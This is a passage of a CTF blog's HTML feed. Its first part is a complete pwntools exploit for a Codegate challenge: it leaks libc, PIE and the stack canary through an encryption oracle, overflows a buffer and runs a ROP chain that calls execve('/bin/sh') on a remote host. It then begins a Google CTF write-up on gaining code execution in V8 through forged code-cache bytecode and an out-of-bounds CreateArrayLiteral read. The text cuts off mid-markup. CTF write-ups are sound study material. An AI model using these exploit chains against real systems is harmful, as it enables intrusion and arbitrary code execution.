class="p">:</span> <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"54.180.128.138"</span><span class="p">,</span> <span class="mi">45510</span><span class="p">)</span> <span class="n">ru</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">a</span><span class="p">:</span> <span class="n">p</span><span class="p">.</span><span class="n">readuntil</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="n">r</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">n</span><span class="p">:</span> <span class="n">p</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="n">sla</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">:</span> <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span> <span class="n">sa</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">:</span> <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">)</span> <span class="n">sl</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">a</span><span class="p">:</span> <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="n">s</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">a</span><span class="p">:</span> <span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="k">def</span> <span class="nf">cmd</span><span class="p">(</span><span class="n">c</span><span class="p">):</span> <span class="n">sla</span><span class="p">(</span><span class="sa">b</span><span class="s">"&gt; "</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span> <span class="k">def</span> <span class="nf">enc</span><span class="p">(</span><span class="n">c</span><span class="p">):</span> <span class="n">cmd</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">sla</span><span class="p">(</span><span class="sa">b</span><span class="s">": "</span><span class="p">,</span><span class="n">c</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span> <span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s">": "</span><span class="p">)</span> <span class="k">return</span> <span class="n">binascii</span><span class="p">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="k">def</span> <span class="nf">dec</span><span class="p">(</span><span class="n">c</span><span class="p">):</span> <span class="n">cmd</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="n">sla</span><span class="p">(</span><span class="sa">b</span><span class="s">": "</span><span class="p">,</span><span class="n">c</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span> <span class="n">ru</span><span class="p">(</span><span class="sa">b</span><span class="s">"plaintext: "</span><span class="p">)</span> <span class="k">return</span> <span class="n">binascii</span><span class="p">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="k">def</span> <span class="nf">data_overflow</span><span class="p">(</span><span class="n">data</span><span class="p">):</span> <span class="n">cmd</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"ciphertext (as a hexstring) : "</span><span class="p">,</span> <span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">data</span><span class="p">))</span> <span class="n">leak</span> <span class="o">=</span> <span class="n">dec</span><span class="p">(</span><span class="n">enc</span><span class="p">(</span><span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x10</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x80</span><span class="s">'</span> <span class="o">*</span> <span class="mh">0x80</span><span class="p">)[:</span><span class="o">-</span><span class="mh">0x10</span><span class="p">])</span> <span class="n">base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">18</span><span class="o">*</span><span class="mi">8</span><span class="p">:</span><span class="mi">19</span><span class="o">*</span><span class="mi">8</span><span class="p">])</span><span class="o">-</span><span class="p">(</span><span class="mh">0x7ffff7e12a61</span><span class="o">-</span><span class="mh">0x00007ffff7d86000</span><span class="p">)</span><span class="o">-</span><span class="p">(</span><span class="mh">0x7ffff7f36cc2</span><span class="o">-</span><span class="mh">0x00007ffff7dd6000</span><span class="p">)</span> <span class="n">canary</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">32</span><span class="o">*</span><span class="mi">8</span><span class="p">:</span><span class="mi">33</span><span class="o">*</span><span class="mi">8</span><span class="p">])</span> <span class="n">pie</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">31</span><span class="o">*</span><span class="mi">8</span><span class="p">:</span><span class="mi">32</span><span class="o">*</span><span class="mi">8</span><span class="p">])</span><span class="o">-</span><span class="p">(</span><span class="mh">0x555555558820</span><span class="o">-</span><span class="mh">0x0000555555554000</span><span class="p">)</span> <span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">pie</span><span class="p">))</span> <span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">base</span><span class="p">))</span> <span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">))</span> <span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s">"./libc-2.31.so"</span><span class="p">)</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">base</span> <span class="n">rop</span><span class="o">=</span><span class="n">ROP</span><span class="p">(</span><span class="n">libc</span><span class="p">)</span> <span class="n">rdi</span> <span class="o">=</span> <span class="n">rop</span><span class="p">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s">'pop rdi'</span><span class="p">,</span><span class="s">'ret'</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">rsi</span> <span class="o">=</span> <span class="n">rop</span><span class="p">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s">'pop rsi'</span><span class="p">,</span><span class="s">'ret'</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">rdx</span> <span class="o">=</span> <span class="n">rop</span><span class="p">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s">'pop rdx'</span><span class="p">,</span><span class="s">'ret'</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">rax</span> <span class="o">=</span> <span class="n">rop</span><span class="p">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s">'pop rax'</span><span class="p">,</span><span class="s">'ret'</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">rop</span><span class="p">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s">'ret'</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">leave</span> <span class="o">=</span> <span class="mh">0x00000000000578c8</span><span class="o">+</span><span class="n">base</span> <span class="n">syscall</span> <span class="o">=</span> <span class="n">rop</span><span class="p">.</span><span class="n">find_gadget</span><span class="p">([</span><span class="s">'syscall'</span><span class="p">,</span><span class="s">'ret'</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">binsh</span> <span class="o">=</span> <span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">'/bin/sh'</span><span class="p">).</span><span class="n">__next__</span><span class="p">()</span> <span class="n">cmd</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="n">sla</span><span class="p">(</span><span class="sa">b</span><span class="s">": "</span><span class="p">,</span> <span class="p">(</span><span class="sa">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mi">288</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">32</span> <span class="o">+</span> <span class="mi">256</span> <span class="o">+</span> <span class="mi">256</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)).</span><span class="nb">hex</span><span class="p">())</span> <span class="n">kw</span> <span class="o">=</span> <span class="n">enc</span><span class="p">(</span><span class="sa">b</span><span class="s">"A"</span><span class="p">)</span> <span class="n">key</span> <span class="o">=</span> <span class="n">kw</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">8</span><span class="p">]</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">u32</span><span class="p">(</span><span class="n">kw</span><span class="p">[</span><span class="mi">8</span><span class="p">:</span><span class="mi">12</span><span class="p">])</span> <span class="o">^</span> <span class="n">u32</span><span class="p">(</span><span class="n">kw</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">4</span><span class="p">]))</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">u32</span><span class="p">(</span><span class="n">kw</span><span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">16</span><span class="p">])</span> <span class="o">^</span> <span class="n">u32</span><span class="p">(</span><span class="n">kw</span><span class="p">[</span><span class="mi">4</span><span class="p">:</span><span class="mi">8</span><span class="p">]))</span> <span class="n">data_overflow</span><span class="p">(</span> <span class="sa">b</span><span class="s">""</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">288</span><span class="p">,</span><span class="sa">b</span><span class="s">'A'</span><span class="p">)</span><span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x8d\x01\x02\x04\x08\x10</span><span class="s"> @</span><span class="se">\x80\x1b</span><span class="s">6</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00</span><span class="s">R</span><span class="se">\t</span><span class="s">j</span><span class="se">\xd5</span><span class="s">06</span><span class="se">\xa5</span><span class="s">8</span><span class="se">\xbf</span><span class="s">@</span><span class="se">\xa3\x9e\x81\xf3\xd7\xfb</span><span class="s">|</span><span class="se">\xe3</span><span class="s">9</span><span class="se">\x82\x9b</span><span class="s">/</span><span class="se">\xff\x87</span><span class="s">4</span><span class="se">\x8e</span><span class="s">CD</span><span class="se">\xc4\xde\xe9\xcb</span><span class="s">T{</span><span class="se">\x94</span><span class="s">2</span><span class="se">\xa6\xc2</span><span class="s">#=</span><span class="se">\xee</span><span class="s">L</span><span class="se">\x95\x0b</span><span class="s">B</span><span class="se">\xfa\xc3</span><span class="s">N</span><span class="se">\x08</span><span class="s">.</span><span class="se">\xa1</span><span class="s">f(</span><span class="se">\xd9</span><span class="s">$</span><span class="se">\xb2</span><span class="s">v[</span><span class="se">\xa2</span><span class="s">Im</span><span class="se">\x8b\xd1</span><span class="s">%r</span><span class="se">\xf8\xf6</span><span class="s">d</span><span class="se">\x86</span><span class="s">h</span><span class="se">\x98\x16\xd4\xa4\\\xcc</span><span class="s">]e</span><span class="se">\xb6\x92</span><span class="s">lpHP</span><span class="se">\xfd\xed\xb9\xda</span><span class="s">^</span><span class="se">\x15</span><span class="s">FW</span><span class="se">\xa7\x8d\x9d\x84\x90\xd8\xab\x00\x8c\xbc\xd3\n\xf7\xe4</span><span class="s">X</span><span class="se">\x05\xb8\xb3</span><span class="s">E</span><span class="se">\x06\xd0</span><span class="s">,</span><span class="se">\x1e\x8f\xca</span><span class="s">?</span><span class="se">\x0f\x02\xc1\xaf\xbd\x03\x01\x13\x8a</span><span class="s">k:</span><span class="se">\x91\x11</span><span class="s">AOg</span><span class="se">\xdc\xea\x97\xf2\xcf\xce\xf0\xb4\xe6</span><span class="s">s</span><span class="se">\x96\xac</span><span class="s">t"</span><span class="se">\xe7\xad</span><span class="s">5</span><span class="se">\x85\xe2\xf9</span><span class="s">7</span><span class="se">\xe8\x1c</span><span class="s">u</span><span class="se">\xdf</span><span class="s">nG</span><span class="se">\xf1\x1a</span><span class="s">q</span><span class="se">\x1d</span><span class="s">)</span><span class="se">\xc5\x89</span><span class="s">o</span><span class="se">\xb7</span><span class="s">b</span><span class="se">\x0e\xaa\x18\xbe\x1b\xfc</span><span class="s">V&gt;K</span><span class="se">\xc6\xd2</span><span class="s">y </span><span class="se">\x9a\xdb\xc0\xfe</span><span class="s">x</span><span class="se">\xcd</span><span class="s">Z</span><span class="se">\xf4\x1f\xdd\xa8</span><span class="s">3</span><span class="se">\x88\x07\xc7</span><span class="s">1</span><span class="se">\xb1\x12\x10</span><span class="s">Y</span><span class="se">\'\x80\xec</span><span class="s">_`Q</span><span class="se">\x7f\xa9\x19\xb5</span><span class="s">J</span><span class="se">\r</span><span class="s">-</span><span class="se">\xe5</span><span class="s">z</span><span class="se">\x9f\x93\xc9\x9c\xef\xa0\xe0</span><span class="s">;M</span><span class="se">\xae</span><span class="s">*</span><span class="se">\xf5\xb0\xc8\xeb\xbb</span><span class="s">&lt;</span><span class="se">\x83</span><span class="s">S</span><span class="se">\x99</span><span class="s">a</span><span class="se">\x17</span><span class="s">+</span><span class="se">\x04</span><span class="s">~</span><span class="se">\xba</span><span class="s">w</span><span class="se">\xd6</span><span class="s">&amp;</span><span class="se">\xe1</span><span class="s">i</span><span class="se">\x14</span><span class="s">cU!</span><span class="se">\x0c</span><span class="s">}c|w{</span><span class="se">\xf2</span><span class="s">ko</span><span class="se">\xc5</span><span class="s">0</span><span class="se">\x01</span><span class="s">g+</span><span class="se">\xfe\xd7\xab</span><span class="s">v</span><span class="se">\xca\x82\xc9</span><span class="s">}</span><span class="se">\xfa</span><span class="s">YG</span><span class="se">\xf0\xad\xd4\xa2\xaf\x9c\xa4</span><span class="s">r</span><span class="se">\xc0\xb7\xfd\x93</span><span class="s">&amp;6?</span><span class="se">\xf7\xcc</span><span class="s">4</span><span class="se">\xa5\xe5\xf1</span><span class="s">q</span><span class="se">\xd8</span><span class="s">1</span><span class="se">\x15\x04\xc7</span><span class="s">#</span><span class="se">\xc3\x18\x96\x05\x9a\x07\x12\x80\xe2\xeb\'\xb2</span><span class="s">u</span><span class="se">\t\x83</span><span class="s">,</span><span class="se">\x1a\x1b</span><span class="s">nZ</span><span class="se">\xa0</span><span class="s">R;</span><span class="se">\xd6\xb3</span><span class="s">)</span><span class="se">\xe3</span><span class="s">/</span><span class="se">\x84</span><span class="s">S</span><span class="se">\xd1\x00\xed</span><span class="s"> </span><span class="se">\xfc\xb1</span><span class="s">[j</span><span class="se">\xcb\xbe</span><span class="s">9JLX</span><span class="se">\xcf\xd0\xef\xaa\xfb</span><span class="s">CM3</span><span class="se">\x85</span><span class="s">E</span><span class="se">\xf9\x02\x7f</span><span class="s">P&lt;</span><span class="se">\x9f\xa8</span><span class="s">Q</span><span class="se">\xa3</span><span class="s">@</span><span class="se">\x8f\x92\x9d</span><span class="s">8</span><span class="se">\xf5\xbc\xb6\xda</span><span class="s">!</span><span class="se">\x10\xff\xf3\xd2\xcd\x0c\x13\xec</span><span class="s">_</span><span class="se">\x97</span><span class="s">D</span><span class="se">\x17\xc4\xa7</span><span class="s">~=d]</span><span class="se">\x19</span><span class="s">s`</span><span class="se">\x81</span><span class="s">O</span><span class="se">\xdc</span><span class="s">"*</span><span class="se">\x90\x88</span><span class="s">F</span><span class="se">\xee\xb8\x14\xde</span><span class="s">^</span><span class="se">\x0b\xdb\xe0</span><span class="s">2:</span><span class="se">\n</span><span class="s">I</span><span class="se">\x06</span><span class="s">$</span><span class="se">\\\xc2\xd3\xac</span><span class="s">b</span><span class="se">\x91\x95\xe4</span><span class="s">y</span><span class="se">\xe7\xc8</span><span class="s">7m</span><span class="se">\x8d\xd5</span><span class="s">N</span><span class="se">\xa9</span><span class="s">lV</span><span class="se">\xf4\xea</span><span class="s">ez</span><span class="se">\xae\x08\xba</span><span class="s">x%.</span><span class="se">\x1c\xa6\xb4\xc6\xe8\xdd</span><span class="s">t</span><span class="se">\x1f</span><span class="s">K</span><span class="se">\xbd\x8b\x8a</span><span class="s">p&gt;</span><span class="se">\xb5</span><span class="s">fH</span><span class="se">\x03\xf6\x0e</span><span class="s">a5W</span><span class="se">\xb9\x86\xc1\x1d\x9e\xe1\xf8\x98\x11</span><span class="s">i</span><span class="se">\xd9\x8e\x94\x9b\x1e\x87\xe9\xce</span><span class="s">U(</span><span class="se">\xdf\x8c\xa1\x89\r\xbf\xe6</span><span class="s">BhA</span><span class="se">\x99</span><span class="s">-</span><span class="se">\x0f\xb0</span><span class="s">T</span><span class="se">\xbb\x16\x01</span><span class="s">'</span><span class="p">)</span> <span class="n">c</span> <span class="o">=</span> <span class="n">enc</span><span class="p">(</span><span class="sa">b</span><span class="s">"A"</span><span class="p">)</span> <span class="n">iv</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">a</span><span class="o">^</span><span class="n">b</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span><span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">).</span><span class="n">decrypt</span><span class="p">(</span><span class="n">c</span><span class="p">),</span> <span class="sa">b</span><span class="s">"A"</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x0f</span><span class="s">'</span><span class="p">))])</span> <span class="k">print</span><span class="p">(</span><span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">key</span><span class="p">),</span> <span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">iv</span><span class="p">))</span> <span class="n">aes</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span> <span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leave</span><span class="p">))</span> <span class="n">rrr</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span> <span class="mh">0x555555558020</span><span class="o">-</span><span class="mh">0x0000555555554000</span><span class="o">+</span><span class="n">pie</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">leave</span><span class="p">,</span><span class="mi">0</span> <span class="p">])</span> <span class="n">ropchain</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span> <span class="n">rdi</span><span class="p">,</span><span class="n">binsh</span><span class="p">,</span><span class="n">rsi</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">rdx</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'execve'</span><span class="p">]</span> <span class="p">])</span> <span class="n">enc</span><span class="p">(</span><span class="n">aes</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">).</span><span class="n">encrypt</span><span class="p">(</span><span class="n">ropchain</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0xf0</span><span class="p">,</span><span class="sa">b</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span><span class="p">))</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span> <span class="o">+</span> <span class="n">cyclic</span><span class="p">(</span><span class="mh">0x8</span><span class="p">)</span><span class="o">+</span><span class="n">rrr</span><span class="p">))</span> <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span> </code></pre></div></div> <p>PS: I broke my WSL in the last hour of the CTF due to replacing system <code class="language-plaintext highlighter-rouge">ld</code> with the <code class="language-plaintext highlighter-rouge">ld</code> used by this challenge, so I asked my teammate n132 to finish the last step of the exploitation. Lesson learned: never do this again. :)</p> Sat, 17 Jun 2023 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2023/06/17/Codegate.html https://mem2019.github.io/jekyll/update/2023/06/17/Codegate.html jekyll update Google CTF 2022 d8: From V8 Bytecode to Code Execution <p>This weekend I have played Google CTF with <a href="https://r3kapig.com/">r3kapig</a>. On the first day I tried the <code class="language-plaintext highlighter-rouge">OCR</code> challenge but failed to solve it, and on the second day I spent the whole day working on the <code class="language-plaintext highlighter-rouge">d8</code> that I am more familiar with. Finally I managed to solve it at midnight as the second blood. This challenge is quite interesting so it is worth to do a write-up.</p> <h2 id="0x00-overview">0x00 Overview</h2> <p>In this challenge, we need to exploit a <code class="language-plaintext highlighter-rouge">runner.cc</code> that takes binary input and passes it to <code class="language-plaintext highlighter-rouge">v8::ScriptCompiler::CachedData</code>, which is to be executed. After some investigation, we found that we can use such primitive to execute arbitrary V8 bytecode. It turns out that V8 bytecode execution has many out-of-bound primitives that can be exploited because they are deemed as trusted input by V8. The final solution utilizes an out-of-bound read in <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code> to fetch a faked <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code>, leading to an object faking primitive and thus code execution with regular exploitation technique.</p> <h2 id="0x01-v8-code-caching">0x01 V8 Code Caching</h2> <p>More information about this can be found <a href="https://v8.dev/blog/code-caching">here</a> and <a href="https://github.com/thlorenz/v8-perf/blob/master/snapshots%2Bcode-caching.md">here</a>. To make it simple, it is a technique that allows V8 to avoid having to parse a same script for many times. When a JavaScript script is compiled, a cache that stores the compilation result can be generated, and when such script is encountered again, such cache can be used instead of re-compiling the same script again.</p> <h3 id="generating-code-cache">Generating Code Cache</h3> <p>According to the documentation in the link above, we need to use <code class="language-plaintext highlighter-rouge">v8::ScriptCompiler::kProduceCodeCache</code> or <code class="language-plaintext highlighter-rouge">v8::ScriptCompiler::GetCodeCache</code> to generate cache for a script being compiled. However, non of these is found in the given V8 version. After checking <code class="language-plaintext highlighter-rouge">test-api.cc</code>, we found that we need to use <code class="language-plaintext highlighter-rouge">v8::ScriptCompiler::CreateCodeCache</code> to generate the code cache for a script that was just compiled and executed. Yes, it turns out the documentation makes the mistake. Note that we must call <code class="language-plaintext highlighter-rouge">CreateCodeCache</code> after <code class="language-plaintext highlighter-rouge">script-&gt;Run(context)</code>, otherwise some lazily compiled functions are not cached.</p> <p>In addition, <code class="language-plaintext highlighter-rouge">v8::V8::SetFlagsFromCommandLine</code> can be used to allow the script to use native syntaxes such as <code class="language-plaintext highlighter-rouge">%DebugPrint</code>. This can make debugging much more convenient. Note that the <code class="language-plaintext highlighter-rouge">%DebugPrint</code> is compiled into code cache in the V8 bytecode, so when such cache is executed in the <code class="language-plaintext highlighter-rouge">runner.cc</code>, the <code class="language-plaintext highlighter-rouge">%DebugPrint</code> output can still be shown.</p> <p>Another thing to note is that when <code class="language-plaintext highlighter-rouge">runner.cc</code> loads the cache, an empty script string is also provided. The cache loader would check if the hash inside the binary cache is identical to the hash of the script, if not the cache will be rejected. After some debugging, we found that the hash of empty script is <code class="language-plaintext highlighter-rouge">0</code> and the hash of binary cache is the 4 bytes at offset <code class="language-plaintext highlighter-rouge">+8</code>. Therefore to allow the cache to be executed such field is set to <code class="language-plaintext highlighter-rouge">0</code>.</p> <p>Also, the cache generated by debug/release version can not be shared among each other, otherwise the cache will be rejected. In debug version, a flag <code class="language-plaintext highlighter-rouge">FLAG_verify_snapshot_checksum</code> is set to perform some additional checksum checking, to disable this, this flag is manually set to <code class="language-plaintext highlighter-rouge">false</code> at function <code class="language-plaintext highlighter-rouge">SerializedCodeData::SanityCheckWithoutSource</code>.</p> <p>At this point we can generate the cache for our JavaScript code that can be run by <code class="language-plaintext highlighter-rouge">runner.cc</code>. The full code about this is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/Google2022/gen.cc">here</a>. We can use <code class="language-plaintext highlighter-rouge">./gen exp.js --allow-natives-syntax --print-bytecode</code> to compile the JavaScript into cache and store the binary cache into <code class="language-plaintext highlighter-rouge">./blob.bin</code>. We use <code class="language-plaintext highlighter-rouge">--print-bytecode</code> to see V8 bytecode being generated, and such bytecode can also be found in generated cache.</p> <h2 id="0x02-exploiting-v8-bytecode">0x02 Exploiting V8 Bytecode</h2> <p>Initially we are thinking if the raw machine code generated by JIT is also stored into cache, if so we can directly execute the shellcode by modifying them in the cache. However, after some trials, it turns out that thing cannot be easy like this. Therefore, it seems that we should use V8 bytecode to achieve the exploit.</p> <p>By arbitrarily modifying the bytecode, the V8 easily crashes. I have come up with some exploitation ideas but only the last one works for me finally.</p> <ol> <li>Use bytecode to leak the <code class="language-plaintext highlighter-rouge">hole</code> into JavaScript, which is an exploitation primitive that has been previously used. However, it seems that this primitive is already mitigated in current version according to my friend <a href="https://eternalsakura13.com/">sakura</a>, so I have not spent much time on it, although it can potentially work.</li> <li>When V8 bytecode accesses the argument register, there is an index value byte in the instruction byte sequence. By modifying such byte, OOB can be caused. However, after further investigation, the OOB occurs on stack, and the data behind is not easily controllable. In addition, the argument array is not stored in compressed pointer form but 64-bit pointers, so it is hard to exploit by simply writing <code class="language-plaintext highlighter-rouge">Smi</code> numbers to stack. Therefore, this idea does not work.</li> <li>We found that <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code> also has an index value that is used to access a <code class="language-plaintext highlighter-rouge">FixedArray</code> in <code class="language-plaintext highlighter-rouge">OldSpace</code>. The value being fetched is a pointer to <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code>, which describes how array is initialized. By controlling the content after the <code class="language-plaintext highlighter-rouge">FixedArray</code>, we can fake such <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code> instance, so we can also obtain an object faking primitive. After then the exploitation is regular.</li> </ol> <h3 id="createarrayliteral">CreateArrayLiteral</h3> <p>This is a bytecode that is used to create JavaScript array. Let’s write some test code to see how it works.</p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">foo</span><span class="p">()</span> <span class="p">{</span> <span class="kd">const</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">[[],</span> <span class="mf">1.1</span><span class="p">,</span> <span class="mh">0x123</span><span class="p">];</span> <span class="k">return</span> <span class="nx">o</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="p">}</span> <span class="nx">foo</span><span class="p">();</span> <span class="nx">readline</span><span class="p">();</span> <span class="c1">// ./d8 test.js --print-bytecode</span> </code></pre></div></div> <p>Here is the bytecode generated for this <code class="language-plaintext highlighter-rouge">foo</code> function:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>79 00 00 04 CreateArrayLiteral [0], [0], #4 c4 Star0 0c LdaZero 2f fa 01 GetKeyedProperty r0, [1] a9 Return </code></pre></div></div> <p>It turns out that an instruction <code class="language-plaintext highlighter-rouge">CreateArrayLiteral [0], [0], #4</code> is generated for the array creation. The question is how does interpreter know what elements to put into the array? The answer lies at <code class="language-plaintext highlighter-rouge">[0]</code> of <code class="language-plaintext highlighter-rouge">CreateArrayLiteral</code>. Such value is used as index to access an <code class="language-plaintext highlighter-rouge">FixedArray</code>, which is printed below the bytecode.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x1b1f00253b31: [FixedArray] in OldSpace - map: 0x1b1f00002239 &lt;Map&gt; - length: 1 0: 0x1b1f00253b25 &lt;ArrayBoilerplateDescription PACKED_ELEMENTS, 0x1b1f00253af9 &lt;FixedArray[3]&gt;&gt; </code></pre></div></div> <p>The index <code class="language-plaintext highlighter-rouge">0</code> accesses an <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code> instance. This is an instance used to describe how the array elements are initialized. Let see what information it contains.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; job 0x1b1f00253b25 0x1b1f00253b25: [ArrayBoilerplateDescription] in OldSpace - map: 0x1b1f000033f5 &lt;Map[12]&gt; - elements kind: PACKED_ELEMENTS - constant elements: 0x1b1f00253af9 &lt;FixedArray[3]&gt; pwndbg&gt; job 0x1b1f00253af9 0x1b1f00253af9: [FixedArray] in OldSpace - map: 0x1b1f00002239 &lt;Map&gt; - length: 3 0: 0x1b1f00253b0d &lt;ArrayBoilerplateDescription PACKED_SMI_ELEMENTS, 0x1b1f00002261 &lt;FixedArray[0]&gt;&gt; 1: 0x1b1f00253b19 &lt;HeapNumber 1.1&gt; 2: 291 pwndbg&gt; p/x 291 $1 = 0x123 </code></pre></div></div> <p>The <code class="language-plaintext highlighter-rouge">ArrayBoilerplateDescription</code> instance contains a <code class="language-plaintext highlighter-rouge">constant elements</code> field which points to another <code class="language-plaintext highlighter-rouge">FixedArray</code>. Such <code class="language-plaintext highlighter-rouge">FixedArray</code> contains the elements to be initialized for the newly created array. One interesting point to note is that the first element is another <code class="language-plaintext 